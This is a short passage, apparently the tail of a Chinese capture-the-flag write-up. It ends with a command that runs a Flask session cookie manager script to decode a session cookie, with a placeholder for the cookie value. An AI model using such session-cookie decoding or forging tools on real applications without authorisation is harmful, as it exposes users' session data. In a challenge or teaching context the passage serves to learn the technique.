至于本题后续有没有其它的内容, 我就不知道了. python3 .\flask_session_cookie_manager3.py decode -c YOUR_SESSION_HERE